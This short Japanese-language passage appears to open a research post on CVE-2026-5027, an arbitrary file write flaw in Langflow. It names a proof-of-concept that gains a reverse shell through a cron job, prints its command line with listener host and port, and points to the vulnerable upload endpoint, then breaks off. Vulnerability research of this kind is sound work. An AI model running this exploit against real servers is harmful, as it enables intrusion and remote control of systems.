CVE-2026-5027

本記事は EQSTLab によって公開された研究記事です。 本脆弱性を報告・分析してくださったYahia Hamza 氏に感謝します。 CVE-2026-5027 ★ CVE-2026-5027 Langflow パストラバーサル / 任意ファイル書き込み PoC ★ 概要 CVE-2026-5027 : Langflow 任意ファイル書き込み脆弱性 説明: Langflow Reverse shell via cron job python3 CVE-2026-5027.py -t --lhost --lport 4444 分析 脆弱なエンドポイント POST /api/v2/file...